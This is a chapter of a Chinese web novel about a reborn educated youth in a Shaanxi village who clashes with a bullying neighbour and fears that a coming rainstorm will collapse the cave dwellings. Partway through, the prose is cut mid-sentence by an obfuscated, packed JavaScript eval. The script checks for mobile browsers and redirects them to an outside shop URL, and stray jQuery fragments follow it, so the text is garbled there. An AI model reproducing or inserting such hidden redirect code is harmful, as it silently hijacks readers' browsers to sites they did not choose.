64. 第 64 章
    她一走,乔希瑶转身对围观看热闹的人们道:“各位叔叔婶婶爷爷奶奶,你们也看见了,我好好的走路回知青点,宋大姑突然跳出来欺负人,这还是当着大家的面儿她都这么嚣张,要我单独走,还不知道会被她欺负成什么样儿。大家有目共睹,希望宋大姑再来找我的麻烦时,请大家帮帮我的忙,到时候抓她去村支书那里做个见证,给我一个公道。”

    围观的人虽然觉得乔希瑶一大早拎着个篮子在村里晃荡,实属可疑,但宋大姑跟她妈和弟弟一个样儿,都不是什么好东西。

    她男人前些年当上碾水村的第五生产大队队长之后,她更加嚣张跋扈,看到村里人都是鼻孔朝天,说话阴阳怪气的,石水村很多村民忍她许久了。

    乔希瑶说那话,无形中把自己摆在了弱者的位置,引发了诸多村民的同情和感同身受。

    不少人出言道:“乔知青,你放心回知青点吧,那宋大姑要再找你麻烦,你只管在村里喊一嗓子,额要听见,立马就去帮你。”

    “是啊是啊,你赶紧回去吧,额们石水村的人可都是好人,除了宋大姑那一家子不是人,额们可从不会欺负你们知青。”

    ......

    “那好,我先回去了,谢谢诸位仗义执言。”乔希瑶嫣然一笑,亲亲热热地拉着舒曼的手往知青点走,边走边说:“曼曼姐,谢谢你带大家来救我,你们要不来救我,我还不知道怎么办。”

    这自然是客套话,事实上舒曼要不来插手,她也不可能坐以待毙,任由宋大姑打她。

    原本她还打算趁着宋大姑先动手,狠狠反揍宋大姑一顿,报一报上一辈子的仇怨。

    毕竟她下乡两个多月了,一直在地里干活,身体锻炼的比之前结实很多,又因为跟舒曼关系好,舒曼没少往她水壶滴灵泉,她喝下灵泉水,曾经体弱多病、手无缚鸡之力的身躯,已经变成了健健康康,力气十足的躯体,虽然比不上舒曼这个大力士,但要跟一个女人对打,完全不是问题。

    之所以跟舒曼道谢,一个是真心实意,另一个嘛,自然是要好好捧着女主。

    人人都爱听好话,女主也不例外,人家真心实意找人来帮你,乔希瑶自然要做出感恩戴德的样子,给女主的好心,情绪到位。

    舒曼已经习惯被乔希瑶挽着手臂走了,从前她是不习惯跟任何人接触的。

    看乔希瑶一副天真烂漫,对自己无比信赖的模样,舒曼跟着她并排往知青走道:“你啊,性子别太绵柔,别太好说话,学着我的样子,泼辣点好,有什么委屈火气,当场发出来,别拖着忍着,让别人觉得你好欺负,那些没什么文化的乡下女人,惯会吃软怕硬。”

    舒曼无论是在现代,还是在这个年代中的书中世界,从不会因为任何人、任何事委屈自己,但凡她遇着事儿,当场就会反击,绝不窝窝囊囊,怕这怕那,让自己受委屈。

    人活一辈子,不就图个畅快吗。

    乔希瑶知道舒曼拿得是啪啪打脸的爽文女主剧本,又是个果敢刚硬的性格,向来只有舒曼打那些欺负她的极品份儿,没有别人打她的份儿,这点的确是乔希瑶该学习的。

    上一世她的脾性就是太过绵软,自己立不起来,才会被宋向荣母子欺负到死。

    所以这辈子,她不再忍,该发疯就发疯,该撒泼就撒泼,谁也别想让她再当个‘好人’。

    “曼曼姐我知道啦,我一定会向你学习,争取向你靠近,让那些不怀好意的牛鬼蛇神,都见鬼去吧!”

    拍完一通马屁,乔希瑶又跟邹乐安一帮男知青们道谢,不管他们出于什么目的来帮她,总归在她出事的时候,人家团结一致的来帮忙,该感谢的都得道谢。

    道完谢,她不忘隐晦的提点邹乐安等人:“邹组长,你来石水村也有四年了吧,我听村里人说,石水村每年秋收季节都会下场雨,要是秋收的时候没下雨,过后再下雨,总会下得很大,你们老知青点跟我们新知青点都靠着南边的半坡,那坡除了一些庄稼,没种个树木啥的,光秃秃的没遮没掩,要是雨下大了,会不会把咱们知青点的窑洞冲垮啊。”

    邹乐安人还没睡醒就被舒曼叫起来找乔希瑶,这会儿迷迷糊糊地搓着眼睛道:“你知道的还挺多,的确,往年石水村秋收之际会下雨,要那个时段不下雨,过后再下,那雨会比之前大很多。前两年就下过一大次大暴雨,雨水从坡上裹着黄土冲下来,把咱们老知青点的旱厕给冲垮了。不过那雨下了一天就停了,我们及时的把旱厕修好,没出什么大问题,今年就算下得雨比往年大,最多把旱厕跟棚房冲垮,等雨停了,把它们修好就行了。”

    乔希瑶看他不当回事儿,欲言又止,“如果雨下大了,把我们住得窑洞冲垮了怎么办?到时候我们都被黄土淹没,没人来救我们的话,我们就会活活闷死。”

    “乔知青,你想多了,石水村祖祖辈辈都是挨着黄土坡壁挖窑洞住,他们在这片黄土地生活了许多代,从没有被大雨冲刷的黄土掩埋闷死过,咱们知青怎么可能遇上这种事儿。”邹乐安奇怪的看她一眼,总觉得她今天怪怪的。

    乔希瑶不说话了,心想,那是他们没有遇上百年难遇的大暴雨。

    陕北窑洞和土屋都是粘性不强的黄土挖砌的,平时因为干旱少雨缺水,将窑洞、土屋晒干的跟石头一样硬,住着没啥问题,但遇到大暴雨,雨水不停冲刷,就不堪一击。

    不过这话她不能明说,作为一个已经脱离原著剧情人设的炮灰角色,她身上充满了太多的不确定性,随便一个剧情,都有可能触发这个世界对她的强制修正,她不能拿自己去冒险。

    该说的话她都说了,邹乐安不信,她也没办法,只能听天由命。

    回到知青点后,乔希瑶打开饭盒,看到里面两个微黄的大馒头,有些诧异解堰那样一个性格阴晴不定的人,居然知道回礼。

    这个男人看起来不似表面那样,对大部分的女同志不近人情,至少他对自己,很多时候都很耐心。

    难道这人的脾气性格,也跟原著有一些出入?

    会不会是因为她这个炮灰角色觉醒以后,做了许多脱离原著剧情的事情,从而导致解堰的性格也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240322|143745||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跟着进行了改变?

    乔希瑶想不通其中的关键,从饭盒里拿出一个馒头递给舒曼,又把解堰拿得小半碗咸菜分一半给舒曼,“曼曼姐,装进你的饭盒里吧,中午咱们就在地里吃,不用特意开火做午饭了。”

    舒曼哟了一声,明知故问:“哪来的?”

    乔希瑶把饭盒盖好,噘嘴道:“曼曼姐,你就逗我吧。”

    “没逗你,我就是觉得,那个解连长,好像对你挺上心。”舒曼微微一笑,从棚厨简陋的碗柜里,拿出自己的饭盒出来,将馒头和咸菜放了进去,盖好盖子,跟她一起往大队部走,等待村支书给她们分配今天的工作。

    “哪里上心了,这不是我给他送了饺子,他回两个馒头,有来有往,挺正常的事情嘛。”话是这么说,乔希瑶心里也觉得不对劲儿。

    按原著的剧情来讲,解堰送吃食、暗地保护女同志、帮女同志干活等等一系列的事情,都该发生在他和舒曼身上,不断增进两个人的感情,才有后来的舒曼婉拒他,他爱而不得,黑化变成大反派的事情。

    可事情都发生在她的身上,她怎么想都觉得怪异。

    舒曼笑而不语,有些事情当局者,迷旁观者清。

    舒曼本就比一般人心思敏锐,这些日子下来,解堰对乔希瑶的态度,明显和别人不同,关键这两人都还不自知,也不知道这两人对彼此究竟存了什么样的心思。

    作为一个旁观者,舒曼不会多言多语,也不会有别的动作,感情的事情向来是两个人的事,别人插手不得。

    就好比她跟付凯旋,明眼人都能看出来付凯旋喜欢她,她偏偏觉得付凯旋顶多对她有好感,两个人志趣相投,对于付凯旋明里暗里的示爱,她也选择性的忽略。

    毕竟她是从现代穿书来的人,对所谓的爱情,没有这个时代的人接受的那么快。

    在她心里,真正的爱情是要两个人经历许多事情,共同渡过许多难关,刻骨铭心,而不是随随便便相处几日,就爱上对方,那样的爱,也太廉价了。

    这一天,地里的活计明显比秋收时段少很多,村里所有社员们都不约而同地感到轻松,下工后回家烫个脚,舒舒服服地睡了过去。

    夜里,乔希瑶翻来覆去的睡不着,脑海里一直记挂着今晚要下大暴雨的事情,一直警醒着不肯入睡。

    可不知道是不是这个世界强行修正剧情的缘故,原本精神抖擞,无比警醒的她,到了后半夜,忽然觉得困意上涌,整个人不受控制地昏睡过去,浑然不知,外面已经变了天。

    ‘轰隆’一声,一道细碎的惊雷响起,紧接着一阵狂风吹起,吹得陕北黄土高坡上种植稀疏的树木沙沙作响。

    很快有雨从黑沉沉的天空砸了下来,从稀疏的雨滴,到逐渐变成倾盆大暴雨,只用了不到一分钟的时间。

    天边像漏了一个大洞,暴雨如千军万马之势,轰然咆哮着从天边砸了下来。

    雨水凶猛,雷电却细无声,大抵是因为秋季,秋雷不如夏雷轰鸣,整片黄土大地,只听见雨水砸在大地的巨大声音。